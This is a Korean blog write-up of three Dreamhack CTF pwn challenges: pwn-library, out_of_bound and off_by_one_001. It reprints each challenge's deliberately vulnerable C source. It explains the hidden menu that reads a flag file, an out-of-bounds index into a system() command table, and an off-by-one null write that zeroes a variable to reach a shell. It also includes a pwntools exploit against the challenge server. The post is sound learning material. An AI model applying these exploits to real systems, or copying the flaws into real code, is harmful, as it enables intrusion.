CTF write up(3)

yxxun1216·2023년 4월 6일
0

Dreamhack


1. pwn-library

문제 파일에 library, library.c 파일이 있었다.

library 파일을 실행시켜보았다.

선택지만 계속해서 나와서 library.c 파일도 열어보았다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct bookstruct{
        char bookname[0x20];
        char* contents;
};

__uint32_t booksize;
struct bookstruct listbook[0x50];
struct bookstruct secretbook;

void booklist(){
        printf("1. theori theory\n");
        printf("2. dreamhack theory\n");
        printf("3. einstein theory\n");
}

int borrow_book(){
        if(booksize >= 0x50){
                printf("[*] book storage is full!\n");
                return 1;
        }
        __uint32_t select = 0;
        printf("[*] Welcome to borrow book menu!\n");
        booklist();
        printf("[+] what book do you want to borrow? : ");
        scanf("%u", &select);
        if(select == 1){
                strcpy(listbook[booksize].bookname, "theori theory");
                listbook[booksize].contents = (char *)malloc(0x100);
                memset(listbook[booksize].contents, 0x0, 0x100);
                strcpy(listbook[booksize].contents, "theori is theori!");
        } else if(select == 2){
                strcpy(listbook[booksize].bookname, "dreamhack theory");
                listbook[booksize].contents = (char *)malloc(0x200);
                memset(listbook[booksize].contents, 0x0, 0x200);
                strcpy(listbook[booksize].contents, "dreamhack is dreamhack!");
        } else if(select == 3){
                strcpy(listbook[booksize].bookname, "einstein theory");
                listbook[booksize].contents = (char *)malloc(0x300);
                memset(listbook[booksize].contents, 0x0, 0x300);
                strcpy(listbook[booksize].contents, "einstein is einstein!");

        } else{
                printf("[*] no book...\n");
                return 1;
        }
        printf("book create complete!\n");
        booksize++;
        return 0;
}

int read_book(){
        __uint32_t select = 0;
        printf("[*] Welcome to read book menu!\n");
        if(!booksize){
                printf("[*] no book here..\n");
                return 0;
        }
        for(__uint32_t i = 0; i<booksize; i++){
                printf("%u : %s\n", i, listbook[i].bookname);
        }
        printf("[+] what book do you want to read? : ");
        scanf("%u", &select);
        if(select > booksize-1){
                printf("[*] no more book!\n");
                return 1;
        }
        printf("[*] book contents below [*]\n");
        printf("%s\n\n", listbook[select].contents);
        return 0;
}

int return_book(){
        printf("[*] Welcome to return book menu!\n");
        if(!booksize){
                printf("[*] no book here..\n");
                return 1;
        }
        if(!strcmp(listbook[booksize-1].bookname, "-----returned-----")){
                printf("[*] you alreay returns last book!\n");
                return 1;
        }
        free(listbook[booksize-1].contents);
        memset(listbook[booksize-1].bookname, 0, 0x20);
        strcpy(listbook[booksize-1].bookname, "-----returned-----");
        printf("[*] lastest book returned!\n");
        return 0;
}

int steal_book(){
        FILE *fp = 0;
        __uint32_t filesize = 0;
        __uint32_t pages = 0;
        char buf[0x100] = {0, };
        printf("[*] Welcome to steal book menu!\n");
        printf("[!] caution. it is illegal!\n");
        printf("[+] whatever, where is the book? : ");
        scanf("%144s", buf);
        fp = fopen(buf, "r");
        if(!fp){
                printf("[*] we can not find a book...\n");
                return 1;
        } else {
                fseek(fp, 0, SEEK_END);
        filesize = ftell(fp);
        fseek(fp, 0, SEEK_SET);
                printf("[*] how many pages?(MAX 400) : ");
                scanf("%u", &pages);
                if(pages > 0x190){
                        printf("[*] it is heavy!!\n");
                        return 1;
                }
                if(filesize > pages){
                        filesize = pages;
                }
                secretbook.contents = (char *)malloc(pages);
                memset(secretbook.contents, 0x0, pages);
                __uint32_t result = fread(secretbook.contents, 1, filesize, fp);

                if(result != filesize){
                        printf("[*] result : %u\n", result);
                        printf("[*] it is locked..\n");
                        return 1;
                }

                memset(secretbook.bookname, 0, 0x20);
                strcpy(secretbook.bookname, "STOLEN BOOK");
                printf("\n[*] (Siren rangs) (Siren rangs)\n");
                printf("[*] Oops.. cops take your book..\n");
                fclose(fp);
                return 0;
        }

}


void menuprint(){
        printf("1. borrow book\n");
        printf("2. read book\n");
        printf("3. return book\n");
        printf("4. exit library\n");
}
void main(){
        __uint32_t select = 0;
        printf("\n[*] Welcome to library!\n");
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
        while(1){
                menuprint();
                printf("[+] Select menu : ");
                scanf("%u", &select);
                switch(select){
                        case 1:
                                borrow_book();
                                break;
                        case 2:
                                read_book();
                                break;
                        case 3:
                                return_book();
                                break;
                        case 4:
                                printf("Good Bye!");
                                exit(0);
                                break;
                        case 0x113:
                                steal_book();
                                break;
                        default:
                                printf("Wrong menu...\n");
                                break;
                }
        }
}

steal_book() 함수에서 flag를 획득할 수 있는 것 같다.

borrow_book() 함수에서는 빌리고 싶은 책을 입력받아 0x100, 0x200, 0x300만큼 할당한다. read_book() 함수는 책 내용을 출력하고 return_book() 함수는 free함수를 통해 메모리를 해제하고 책 제목을 memset한다.

풀이 과정은 다음과 같다.

  1. 훔친 책을 통해 flag를 확인해야 하는데 길이가 0x190을 넘으면 안 되므로 책을 한 번 빌렸다가 반납한다. 그러면 메모리가 할당 후 해제된다.

  2. main 함수에서 case 0x113의 경우 steal_book() 함수가 호출되었으므로 첫 번째 선택지에서 0x113의 10진수 값인 275를 입력한다.

  3. 화면에 where is the book?이 출력되는데 확인할 flag는 /home/pwnlibrary/flag.txt에 있다고 문제에서 주어졌으므로 이를 입력한다. 이 때 buf값을 처음에 지정받았던 값인 256을 입력한다.

  4. 그 후 flag를 읽어주면 된다.

2. out_of_bound

문제 파일을 다운로드했더니 out_of_bound 파일과 out_of_bound.c 파일이 있었다.

먼저 out_of_bound 파일을 실행시켰다.

아무거나 입력했더니 위와 같이 프로그램이 종료되었다.

out_of_bound.c 파일을 확인했다.

코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

코드를 분석해보면 main에서 name을 입력받고 idx를 입력받아서 command에서 실행시킨다.

좀 더 자세히 알아보기 위해 main을 disassemble 했더니 다음과 같은 결과를 얻었다.

일부 생략되었지만 name과 command의 주소를 알 수 있었다. name은 0x804a0ac에 있고 command는 0x804a060에 있다. 둘의 차이를 구하면 0x4c이고 eax*4+0x804a060이 되어있으므로 0x4c/4 = 0x13 = 19가 차이남을 알 수 있다.

이제 프로그램에 cat flag와 19를 차례로 넣고 실행해보면 아무것도 뜨지 않는 것을 알 수 있다.

system 함수가 공유 라이브러리 함수 인자이기 때문에 들어오는 변수 주소 4바이트 + 변수 값이 메모리로 들어간다고 한다.

따라서 name+4의 주소와 cat flag를 입력해야 한다.

익스플로잇 코드는 다음과 같이 짤 수 있다.

from pwn import *

p = remote("host3.dreamhack.games", 15049)

payload = p32(0x804a0ac+4) + b"cat flag"
p.sendlineafter("name: ", payload)

p.sendlineafter("want?: ", b"19")

flag = p.recv(100)
print(flag.decode('utf-8'))

실행시켜보면 flag를 확인할 수 있다.

3. off_by_one_001

문제파일에는 off_by_one_001파일과 off_by_one_001.c 파일이 있었다.

off_by_one_011파일을 실행시켰더니 다음과 같이 나왔다.

입력값을 받아서 flag를 확인하는 문제인 것 같다.

off_by_one_011.c 파일을 확인했다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

코드를 확인하니 get_shell() 함수를 실행시켜야 했다.

그런데 main에서 age가 이미 1로 정해져있어서 임의로 이를 바꾸어 주어야 하는 것 같다.

read_str() 함수에서 0을 넣을 수 있으므로 name에 20개의 문자를 입력하면 된다.

flag를 확인할 수 있다.

0개의 댓글